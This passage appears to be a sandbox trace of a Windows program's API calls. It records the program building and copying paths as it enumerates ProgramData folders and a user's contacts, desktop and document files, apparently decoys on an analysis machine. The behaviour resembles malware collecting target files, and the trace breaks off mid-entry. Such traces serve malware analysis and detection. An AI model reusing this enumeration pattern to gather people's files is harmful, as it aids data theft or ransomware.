lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\*") returned="c:\\ProgramData\\Microsoft\\NetFramework\\*" [0030.192] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.193] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\", lpString2="BreadcrumbStore" | out: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned="c:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore" [0030.193] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Network" | out: lpString1="c:\\ProgramData\\Microsoft\\Network") returned="c:\\ProgramData\\Microsoft\\Network" [0030.193] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Network", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Network\\") returned="c:\\ProgramData\\Microsoft\\Network\\" [0030.193] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Network\\") returned 33 [0030.193] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Network\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Network\\*") returned="c:\\ProgramData\\Microsoft\\Network\\*" [0030.193] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.193] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Network\\", lpString2="Connections" | out: lpString1="c:\\ProgramData\\Microsoft\\Network\\Connections") returned="c:\\ProgramData\\Microsoft\\Network\\Connections" [0030.193] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Network\\", lpString2="Downloader" | out: lpString1="c:\\ProgramData\\Microsoft\\Network\\Downloader") returned="c:\\ProgramData\\Microsoft\\Network\\Downloader" [0030.193] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Office" | out: lpString1="c:\\ProgramData\\Microsoft\\Office") returned="c:\\ProgramData\\Microsoft\\Office" [0030.193] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Office", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Office\\") returned="c:\\ProgramData\\Microsoft\\Office\\" [0030.193] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Office\\") returned 32 [0030.193] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Office\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Office\\*") returned="c:\\ProgramData\\Microsoft\\Office\\*" [0030.193] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Office\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Office\\", lpString2="ClickToRunPackageLocker" | out: lpString1="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker") returned="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" [0030.194] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker") returned 55 [0030.194] lstrcpyW (in: lpString1=0x460f60, lpString2="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" | out: lpString1="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker") returned="c:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" [0030.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0030.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0030.194] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned 58 [0030.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*" [0030.194] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\", lpString2="Cache" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" [0030.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\", lpString2="tokens.dat" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" [0030.194] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned 68 [0030.194] lstrcpyW (in: lpString1=0x468f38, lpString2="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" | out: lpString1="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned="c:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" [0030.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="RAC" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC") returned="c:\\ProgramData\\Microsoft\\RAC" [0030.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\") returned="c:\\ProgramData\\Microsoft\\RAC\\" [0030.194] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\RAC\\") returned 29 [0030.194] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\*") returned="c:\\ProgramData\\Microsoft\\RAC\\*" [0030.194] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\RAC\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.195] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="Outbound" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\Outbound") returned="c:\\ProgramData\\Microsoft\\RAC\\Outbound" [0030.195] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\RAC\\", lpString2="PublishedData" | out: lpString1="c:\\ProgramData\\Microsoft\\RAC\\PublishedData") returned="c:\\ProgramData\\Microsoft\\RAC\\PublishedData" [0030.195] lstrcpyW (in: lpString1=0x4665c0, lpString2="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\aETAdzjz.dat" [0030.195] lstrcpyW (in: lpString1=0x466640, lpString2="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" [0030.196] lstrcpyW (in: lpString1=0x468fe8, lpString2="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" | out: lpString1="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned="c:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" [0030.199] lstrcpyW (in: lpString1=0x4666c0, lpString2="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" | out: lpString1="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log") returned="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" [0030.200] lstrcpyW (in: lpString1=0x469fd0, lpString2="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" [0030.201] lstrcpyW (in: lpString1=0x46a078, lpString2="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned="c:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" [0030.201] lstrcpyW (in: lpString1=0x46a130, lpString2="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" [0030.201] lstrcpyW (in: lpString1=0x46a1d8, lpString2="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned="c:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" [0030.205] lstrcpyW (in: lpString1=0x46a290, lpString2="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" [0030.205] lstrcpyW (in: lpString1=0x46a338, lpString2="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" [0030.206] lstrcpyW (in: lpString1=0x46a3f0, lpString2="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" [0030.206] lstrcpyW (in: lpString1=0x46a498, lpString2="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" [0030.206] lstrcpyW (in: lpString1=0x46a550, lpString2="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" [0030.206] lstrcpyW (in: lpString1=0x46a5f8, lpString2="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" [0030.207] lstrcpyW (in: lpString1=0x46a6b0, lpString2="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" [0030.207] lstrcpyW (in: lpString1=0x46a758, lpString2="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" [0030.220] lstrcpyW (in: lpString1=0x46a810, lpString2="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" [0030.220] lstrcpyW (in: lpString1=0x46a918, lpString2="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" [0030.220] lstrcpyW (in: lpString1=0x46aa18, lpString2="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" [0030.222] lstrcpyW (in: lpString1=0x464e18, lpString2="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\Aclviho ASldjfl.contact" [0030.222] lstrcpyW (in: lpString1=0x464e88, lpString2="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\Administrator.contact" [0030.222] lstrcpyW (in: lpString1=0x464ef8, lpString2="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\asdlfk poopvy.contact" [0030.222] lstrcpyW (in: lpString1=0x46ab20, lpString2="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\chucu jadnvk.contact" [0030.222] lstrcpyW (in: lpString1=0x46ab88, lpString2="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Contacts\\desktop.ini" [0030.222] lstrcpyW (in: lpString1=0x464f68, lpString2="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\lulcit amkdfe.contact" [0030.222] lstrcpyW (in: lpString1=0x464fd8, lpString2="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact" | out: lpString1="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact") returned="c:\\Users\\aETAdzjz\\Contacts\\sikvnb huvuib.contact" [0030.222] lstrcpyW (in: lpString1=0x465048, lpString2="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi") returned="c:\\Users\\aETAdzjz\\Desktop\\0B2i4zUHRYI3kPPp6Y.avi" [0030.222] lstrcpyW (in: lpString1=0x4650b8, lpString2="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf") returned="c:\\Users\\aETAdzjz\\Desktop\\0dhb1lQ5Yot7UDpqiLV.rtf" [0030.222] lstrcpyW (in: lpString1=0x46abe0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt") returned="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt" [0030.222] lstrcpyW (in: lpString1=0x465128, lpString2="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3" [0030.222] lstrcpyW (in: lpString1=0x46ac38, lpString2="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav" [0030.222] lstrcpyW (in: lpString1=0x46aca0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav" [0030.222] lstrcpyW (in: lpString1=0x46ad00, lpString2="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv") returned="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv" [0030.222] lstrcpyW (in: lpString1=0x46ad58, lpString2="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png") returned="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png" [0030.222] lstrcpyW (in: lpString1=0x46adb0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi") returned="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi" [0030.222] lstrcpyW (in: lpString1=0x465198, lpString2="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav" [0030.222] lstrcpyW (in: lpString1=0x46ae18, lpString2="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx") returned="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx" [0030.222] lstrcpyW (in: lpString1=0x46ae78, lpString2="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg" [0030.222] lstrcpyW (in: lpString1=0x46aee0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4") returned="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4" [0030.222] lstrcpyW (in: lpString1=0x46af38, lpString2="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini" [0030.223] lstrcpyW (in: lpString1=0x46af90, lpString2="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv") returned="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv" [0030.223] lstrcpyW (in: lpString1=0x465208, lpString2="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls") returned="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls" [0030.223] lstrcpyW (in: lpString1=0x26ff98, lpString2="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav" [0030.223] lstrcpyW (in: lpString1=0x46aff0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3" [0030.223] lstrcpyW (in: lpString1=0x465278, lpString2="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp") returned="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp" [0030.223] lstrcpyW (in: lpString1=0x46b048, lpString2="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps") returned="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps" [0030.223] lstrcpyW (in: lpString1=0x46b0a8, lpString2="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf") returned="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf" [0030.223] lstrcpyW (in: lpString1=0x46b100, lpString2="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png") returned="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png" [0030.223] lstrcpyW (in: lpString1=0x46b160, lpString2="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" [0030.223] lstrcpyW (in: lpString1=0x46b1b8, lpString2="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3" [0030.223] lstrcpyW (in: lpString1=0x46b218, lpString2="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt") returned="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt" [0030.223] lstrcpyW (in: lpString1=0x46b278, lpString2="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg" [0030.223] lstrcpyW (in: lpString1=0x46b2c8, lpString2="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png") returned="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png" [0030.223] lstrcpyW (in: lpString1=0x46b320, lpString2="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp") returned="c:\\Users\\aETAdzjz\\Desktop\\Q6O2n7WwKPR.bmp" [0030.223] lstrcpyW (in: lpString1=0x46b380, lpString2="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv") returned="c:\\Users\\aETAdzjz\\Desktop\\RL27mS.mkv" [0030.223] lstrcpyW (in: lpString1=0x46b3d8, lpString2="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx") returned="c:\\Users\\aETAdzjz\\Desktop\\Sa--KaU.pptx" [0030.223] lstrcpyW (in: lpString1=0x4652e8, lpString2="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv") returned="c:\\Users\\aETAdzjz\\Desktop\\s_XSUWu8QQnZOg4V9zrx.mkv" [0030.223] lstrcpyW (in: lpString1=0x46b430, lpString2="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt") returned="c:\\Users\\aETAdzjz\\Desktop\\uTQTV2mVPN8RQx.ppt" [0030.223] lstrcpyW (in: lpString1=0x465358, lpString2="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg" [0030.223] lstrcpyW (in: lpString1=0x46b498, lpString2="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3" [0030.223] lstrcpyW (in: lpString1=0x46b4f8, lpString2="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a") returned="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a" [0030.223] lstrcpyW (in: lpString1=0x46b550, lpString2="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg" [0030.223] lstrcpyW (in: lpString1=0x46b5a8, lpString2="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png") returned="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png" [0030.223] lstrcpyW (in: lpString1=0x46b5f8, lpString2="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc") returned="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc" [0030.224] lstrcpyW (in: lpString1=0x46b668, lpString2="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf") returned="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf" [0030.224] lstrcpyW (in: lpString1=0x4653c8, lpString2="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx") returned="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx" [0030.224] lstrcpyW (in: 